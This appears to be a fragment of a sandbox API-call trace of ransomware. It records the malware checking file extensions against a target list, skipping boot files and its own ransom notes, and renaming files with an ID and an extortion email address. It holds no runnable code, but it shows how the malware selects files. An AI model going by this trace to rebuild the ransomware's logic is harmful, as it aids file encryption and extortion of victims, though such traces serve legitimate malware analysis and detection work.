(lpString1=".bmp", lpString2=".ini") returned -1 [0193.667] lstrlenW (lpString=".bz2") returned 4 [0193.667] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0193.667] lstrlenW (lpString=".c") returned 2 [0193.667] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0193.667] lstrlenW (lpString=".cdr") returned 4 [0193.667] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0193.667] lstrlenW (lpString=".cer") returned 4 [0193.667] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0193.668] lstrlenW (lpString=".cf") returned 3 [0193.668] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0193.668] lstrlenW (lpString=".cfc") returned 4 [0193.668] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0193.668] lstrlenW (lpString=".cfm") returned 4 [0193.668] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0193.668] lstrlenW (lpString=".cfml") returned 5 [0193.668] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0193.668] lstrlenW (lpString=".cfu") returned 4 [0193.668] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0193.668] lstrlenW (lpString=".chm") returned 4 [0193.668] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0193.668] lstrlenW (lpString=".cin") returned 4 [0193.668] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0193.669] lstrlenW (lpString=".class") returned 6 [0193.669] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0193.669] lstrlenW (lpString=".clx") returned 4 [0193.669] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0193.669] lstrlenW (lpString=".config") returned 7 [0193.669] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0193.669] lstrlenW (lpString=".cpp") returned 4 [0193.669] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0193.669] lstrlenW (lpString=".cr2") returned 4 [0193.669] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0193.669] lstrlenW (lpString=".crt") returned 4 [0193.669] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0193.669] lstrlenW (lpString=".crw") returned 4 [0193.669] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0193.669] lstrlenW (lpString=".cs") returned 3 [0193.670] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0193.670] lstrlenW (lpString=".css") returned 4 [0193.670] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0193.670] lstrlenW (lpString=".csv") returned 4 [0193.670] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0193.670] lstrlenW (lpString=".cub") returned 4 [0193.670] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0193.670] lstrlenW (lpString=".dae") returned 4 [0193.670] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0193.670] lstrlenW (lpString=".dat") returned 4 [0193.670] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0193.671] lstrlenW (lpString=".db") returned 3 [0193.671] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0193.671] lstrlenW (lpString=".dbf") returned 4 [0193.671] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0193.671] lstrlenW (lpString=".dbx") returned 4 [0193.671] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0193.671] lstrlenW (lpString=".dc3") returned 4 [0193.671] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0193.671] lstrlenW (lpString=".dcm") returned 4 [0193.671] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0193.671] lstrlenW (lpString=".dcr") returned 4 [0193.671] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0193.671] lstrlenW (lpString=".der") returned 4 [0193.672] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0193.672] lstrlenW (lpString=".dib") returned 4 [0193.672] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0193.672] lstrlenW (lpString=".dic") returned 4 [0193.672] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0193.672] lstrlenW (lpString=".dif") returned 4 [0193.672] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0193.672] lstrlenW (lpString=".divx") returned 5 [0193.672] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0193.672] lstrlenW (lpString=".djvu") returned 5 [0193.672] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0193.672] lstrlenW (lpString=".dng") returned 4 [0193.672] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0193.673] lstrlenW (lpString=".doc") returned 4 [0193.673] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0193.673] lstrlenW (lpString=".docm") returned 5 [0193.673] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0193.673] lstrlenW (lpString=".docx") returned 5 [0193.673] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0193.673] lstrlenW (lpString=".dot") returned 4 [0193.673] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0193.673] lstrlenW (lpString=".dotm") returned 5 [0193.673] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0193.673] lstrlenW (lpString=".dotx") returned 5 [0193.674] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0193.674] lstrlenW (lpString=".dpx") returned 4 [0193.674] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0193.674] lstrlenW (lpString=".dqy") returned 4 [0193.675] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0193.675] lstrlenW (lpString=".dsn") returned 4 [0193.675] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0193.675] lstrlenW (lpString=".dt") returned 3 [0193.675] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0193.675] lstrlenW (lpString=".dtd") returned 4 [0193.675] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0193.675] lstrlenW (lpString=".dwg") returned 4 [0193.675] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0193.675] lstrlenW (lpString=".dwt") returned 4 [0193.676] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0193.676] lstrlenW (lpString=".dx") returned 3 [0193.676] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0193.676] lstrlenW (lpString=".dxf") returned 4 [0193.676] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0193.676] lstrlenW (lpString=".edml") returned 5 [0193.676] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0193.676] lstrlenW (lpString=".efd") returned 4 [0193.676] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0193.676] lstrlenW (lpString=".elf") returned 4 [0193.676] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0193.676] lstrlenW (lpString=".emf") returned 4 [0193.677] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0193.677] lstrlenW (lpString=".emz") returned 4 [0193.677] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0193.677] lstrlenW (lpString=".epf") returned 4 [0193.677] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0193.677] lstrlenW (lpString=".eps") returned 4 [0193.677] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0193.677] lstrlenW (lpString=".epsf") returned 5 [0193.677] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0193.677] lstrlenW (lpString=".epsp") returned 5 [0193.678] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0193.678] lstrlenW (lpString=".erf") returned 4 [0193.678] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0193.678] lstrlenW (lpString=".exr") returned 4 [0193.678] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0193.678] lstrlenW (lpString=".f4v") returned 4 [0193.678] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0193.678] lstrlenW (lpString=".fido") returned 5 [0193.678] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0193.678] lstrlenW (lpString=".flm") returned 4 [0193.678] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0193.678] lstrlenW (lpString=".flv") returned 4 [0193.679] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0193.679] lstrlenW (lpString=".frm") returned 4 [0193.679] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0193.679] lstrlenW (lpString=".fxg") returned 4 [0193.679] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0193.679] lstrlenW (lpString=".geo") returned 4 [0193.679] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0193.679] lstrlenW (lpString=".gif") returned 4 [0193.679] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0193.679] lstrlenW (lpString=".grs") returned 4 [0193.679] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0193.679] lstrlenW (lpString=".gz") returned 3 [0193.679] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0193.680] lstrlenW (lpString=".h") returned 2 [0193.680] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0193.680] lstrlenW (lpString=".hdr") returned 4 [0193.680] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0193.680] lstrlenW (lpString=".hpp") returned 4 [0193.680] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0193.680] lstrlenW (lpString=".hta") returned 4 [0193.680] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0193.680] lstrlenW (lpString=".htc") returned 4 [0193.680] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0193.680] lstrlenW (lpString=".htm") returned 4 [0193.681] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0193.681] lstrlenW (lpString=".html") returned 5 [0193.681] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0193.681] lstrlenW (lpString=".icb") returned 4 [0193.681] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0193.681] lstrlenW (lpString=".ics") returned 4 [0193.681] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0193.681] lstrlenW (lpString=".iff") returned 4 [0193.681] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0193.681] lstrlenW (lpString=".inc") returned 4 [0193.681] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0193.682] lstrlenW (lpString=".indd") returned 5 [0193.682] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0193.682] lstrlenW (lpString=".ini") returned 4 [0193.682] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0193.682] lstrlenW (lpString="desktop.ini") returned 11 [0193.682] lstrlenW (lpString=".NEWS") returned 5 [0193.682] lstrcmpiW (lpString1=".NEWS", lpString2="p.ini") returned -1 [0193.682] lstrlenW (lpString="desktop.ini") returned 11 [0193.682] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0193.682] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0193.682] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0193.683] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0193.683] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0193.683] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0193.683] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0193.683] lstrcmpiW (lpString1="driver.exe", lpString2="desktop.ini") returned 1 [0193.683] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.683] FindNextFileW (in: hFindFile=0x8dab88, lpFindFileData=0x36af808 | out: lpFindFileData=0x36af808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc7f3c120, ftCreationTime.dwHighDateTime=0x1d5d105, ftLastAccessTime.dwLowDateTime=0xc7f3c120, ftLastAccessTime.dwHighDateTime=0x1d5d105, ftLastWriteTime.dwLowDateTime=0xc7f883e0, ftLastWriteTime.dwHighDateTime=0x1d5d105, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DESKTO~1.NEW")) returned 1 [0193.683] lstrlenW (lpString="desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS") returned 55 [0193.683] lstrlenW (lpString=".1cd") returned 4 [0193.684] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0193.684] lstrlenW (lpString=".3ds") returned 4 [0193.684] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0193.684] lstrlenW (lpString=".3fr") returned 4 [0193.684] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0193.684] lstrlenW (lpString=".3g2") returned 4 [0193.684] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0193.684] lstrlenW (lpString=".3gp") returned 4 [0193.684] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0193.684] lstrlenW (lpString=".7z") returned 3 [0193.684] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0193.685] lstrlenW (lpString=".accda") returned 6 [0193.685] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0193.685] lstrlenW (lpString=".accdb") returned 6 [0193.685] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0193.685] lstrlenW (lpString=".accdc") returned 6 [0193.685] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0193.685] lstrlenW (lpString=".accde") returned 6 [0193.685] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0193.685] lstrlenW (lpString=".accdt") returned 6 [0193.685] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0193.685] lstrlenW (lpString=".accdw") returned 6 [0193.685] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0193.685] lstrlenW (lpString=".adb") returned 4 [0193.685] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0193.685] lstrlenW (lpString=".adp") returned 4 [0193.686] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0193.686] lstrlenW (lpString=".ai") returned 3 [0193.686] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0193.686] lstrlenW (lpString=".ai3") returned 4 [0193.686] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0193.686] lstrlenW (lpString=".ai4") returned 4 [0193.686] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0193.686] lstrlenW (lpString=".ai5") returned 4 [0193.686] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0193.686] lstrlenW (lpString=".ai6") returned 4 [0193.686] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0193.686] lstrlenW (lpString=".ai7") returned 4 [0193.687] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0193.687] lstrlenW (lpString=".ai8") returned 4 [0193.687] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0193.687] lstrlenW (lpString=".anim") returned 5 [0193.687] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0193.687] lstrlenW (lpString=".arw") returned 4 [0193.687] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0193.687] lstrlenW (lpString=".as") returned 3 [0193.687] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0193.687] lstrlenW (lpString=".asa") returned 4 [0193.687] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0193.687] lstrlenW (lpString=".asc") returned 4 [0193.687] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0193.687] lstrlenW (lpString=".ascx") returned 5 [0193.688] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0193.688] lstrlenW (lpString=".asm") returned 4 [0193.688] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0193.688] lstrlenW (lpString=".asmx") returned 5 [0193.688] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0193.688] lstrlenW (lpString=".asp") returned 4 [0193.688] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0193.688] lstrlenW (lpString=".aspx") returned 5 [0193.688] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0193.688] lstrlenW (lpString=".asr") returned 4 [0193.688] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0193.688] lstrlenW (lpString=".asx") returned 4 [0193.688] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0193.689] lstrlenW (lpString=".avi") returned 4 [0193.689] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0193.689] lstrlenW (lpString=".avs") returned 4 [0193.689] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0193.689] lstrlenW (lpString=".backup") returned 7 [0193.689] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0193.689] lstrlenW (lpString=".bak") returned 4 [0193.689] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0193.689] lstrlenW (lpString=".bay") returned 4 [0193.689] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0193.689] lstrlenW (lpString=".bd") returned 3 [0193.689] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0193.689] lstrlenW (lpString=".bin") returned 4 [0193.690] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0193.690] lstrlenW (lpString=".bmp") returned 4 [0193.690] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0193.690] lstrlenW (lpString=".bz2") returned 4 [0193.690] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0193.690] lstrlenW (lpString=".c") returned 2 [0193.690] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0193.690] lstrlenW (lpString=".cdr") returned 4 [0193.690] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0193.690] lstrlenW (lpString=".cer") returned 4 [0193.690] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0193.690] lstrlenW (lpString=".cf") returned 3 [0193.690] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0193.691] lstrlenW (lpString=".cfc") returned 4 [0193.691] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0193.691] lstrlenW (lpString=".cfm") returned 4 [0193.691] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0193.691] lstrlenW (lpString=".cfml") returned 5 [0193.691] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0193.691] lstrlenW (lpString=".cfu") returned 4 [0193.691] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0193.691] lstrlenW (lpString=".chm") returned 4 [0193.691] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0193.691] lstrlenW (lpString=".cin") returned 4 [0193.691] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0193.691] lstrlenW (lpString=".class") returned 6 [0193.692] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0193.692] lstrlenW (lpString=".clx") returned 4 [0193.692] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0193.692] lstrlenW (lpString=".config") returned 7 [0193.692] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0193.692] lstrlenW (lpString=".cpp") returned 4 [0193.692] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0193.692] lstrlenW (lpString=".cr2") returned 4 [0193.799] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0193.799] lstrlenW (lpString=".crt") returned 4 [0193.799] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0193.799] lstrlenW (lpString=".crw") returned 4 [0193.799] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0193.799] lstrlenW (lpString=".cs") returned 3 [0193.799] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0193.800] lstrlenW (lpString=".css") returned 4 [0193.800] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0193.800] lstrlenW (lpString=".csv") returned 4 [0193.800] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0193.800] lstrlenW (lpString=".cub") returned 4 [0193.800] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0193.800] lstrlenW (lpString=".dae") returned 4 [0193.800] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0193.800] lstrlenW (lpString=".dat") returned 4 [0193.800] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0193.800] lstrlenW (lpString=".db") returned 3 [0193.800] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0193.800] lstrlenW (lpString=".dbf") returned 4 [0193.801] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0193.801] lstrlenW (lpString=".dbx") returned 4 [0193.801] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0193.801] lstrlenW (lpString=".dc3") returned 4 [0193.801] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0193.801] lstrlenW (lpString=".dcm") returned 4 [0193.801] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0193.801] lstrlenW (lpString=".dcr") returned 4 [0193.801] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0193.801] lstrlenW (lpString=".der") returned 4 [0193.801] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0193.802] lstrlenW (lpString=".dib") returned 4 [0193.802] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0193.802] lstrlenW (lpString=".dic") returned 4 [0193.802] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0193.802] lstrlenW (lpString=".dif") returned 4 [0193.802] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0193.802] lstrlenW (lpString=".divx") returned 5 [0193.802] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0193.802] lstrlenW (lpString=".djvu") returned 5 [0193.802] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0193.802] lstrlenW (lpString=".dng") returned 4 [0193.802] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0193.802] lstrlenW (lpString=".doc") returned 4 [0193.803] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0193.803] lstrlenW (lpString=".docm") returned 5 [0193.803] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0193.803] lstrlenW (lpString=".docx") returned 5 [0193.803] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0193.803] lstrlenW (lpString=".dot") returned 4 [0193.803] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0193.803] lstrlenW (lpString=".dotm") returned 5 [0193.803] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0193.803] lstrlenW (lpString=".dotx") returned 5 [0193.803] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0193.803] lstrlenW (lpString=".dpx") returned 4 [0193.803] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0193.804] lstrlenW (lpString=".dqy") returned 4 [0193.804] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0193.804] lstrlenW (lpString=".dsn") returned 4 [0193.804] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0193.804] lstrlenW (lpString=".dt") returned 3 [0193.804] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0193.804] lstrlenW (lpString=".dtd") returned 4 [0193.804] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0193.804] lstrlenW (lpString=".dwg") returned 4 [0193.804] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0193.804] lstrlenW (lpString=".dwt") returned 4 [0193.804] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0193.804] lstrlenW (lpString=".dx") returned 3 [0193.805] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0193.805] lstrlenW (lpString=".dxf") returned 4 [0193.805] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0193.805] lstrlenW (lpString=".edml") returned 5 [0193.805] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0193.805] lstrlenW (lpString=".efd") returned 4 [0193.805] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0193.805] lstrlenW (lpString=".elf") returned 4 [0193.805] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0193.805] lstrlenW (lpString=".emf") returned 4 [0193.805] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0193.805] lstrlenW (lpString=".emz") returned 4 [0193.805] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0193.805] lstrlenW (lpString=".epf") returned 4 [0193.806] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0193.806] lstrlenW (lpString=".eps") returned 4 [0193.806] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0193.806] lstrlenW (lpString=".epsf") returned 5 [0193.806] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0193.806] lstrlenW (lpString=".epsp") returned 5 [0193.806] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0193.806] lstrlenW (lpString=".erf") returned 4 [0193.806] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0193.806] lstrlenW (lpString=".exr") returned 4 [0193.806] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0193.806] lstrlenW (lpString=".f4v") returned 4 [0193.806] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0193.806] lstrlenW (lpString=".fido") returned 5 [0193.807] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0193.807] lstrlenW (lpString=".flm") returned 4 [0193.807] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0193.807] lstrlenW (lpString=".flv") returned 4 [0193.807] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0193.807] lstrlenW (lpString=".frm") returned 4 [0193.807] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0193.814] FindNextFileW (in: hFindFile=0x4192398, lpFindFileData=0x36afa84 | out: lpFindFileData=0x36afa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xc831a4e0, ftLastAccessTime.dwHighDateTime=0x1d5d105, ftLastWriteTime.dwLowDateTime=0xc831a4e0, ftLastWriteTime.dwHighDateTime=0x1d5d105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.814] FindNextFileW (in: hFindFile=0x4192398, lpFindFileData=0x36afa84 | out: lpFindFileData=0x36afa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0207.229] FindNextFileW (in: hFindFile=0x4192ad8, lpFindFileData=0x36af094 | out: lpFindFileData=0x36af094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd7d7cf00, ftLastAccessTime.dwHighDateTime=0x1d5d105, ftLastWriteTime.dwLowDateTime=0xd7d7cf00, ftLastWriteTime.dwHighDateTime=0x1d5d105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.230] FindNextFileW (in: hFindFile=0x4192ad8, lpFindFileData=0x36af094 | out: lpFindFileData=0x36af094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0207.230] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 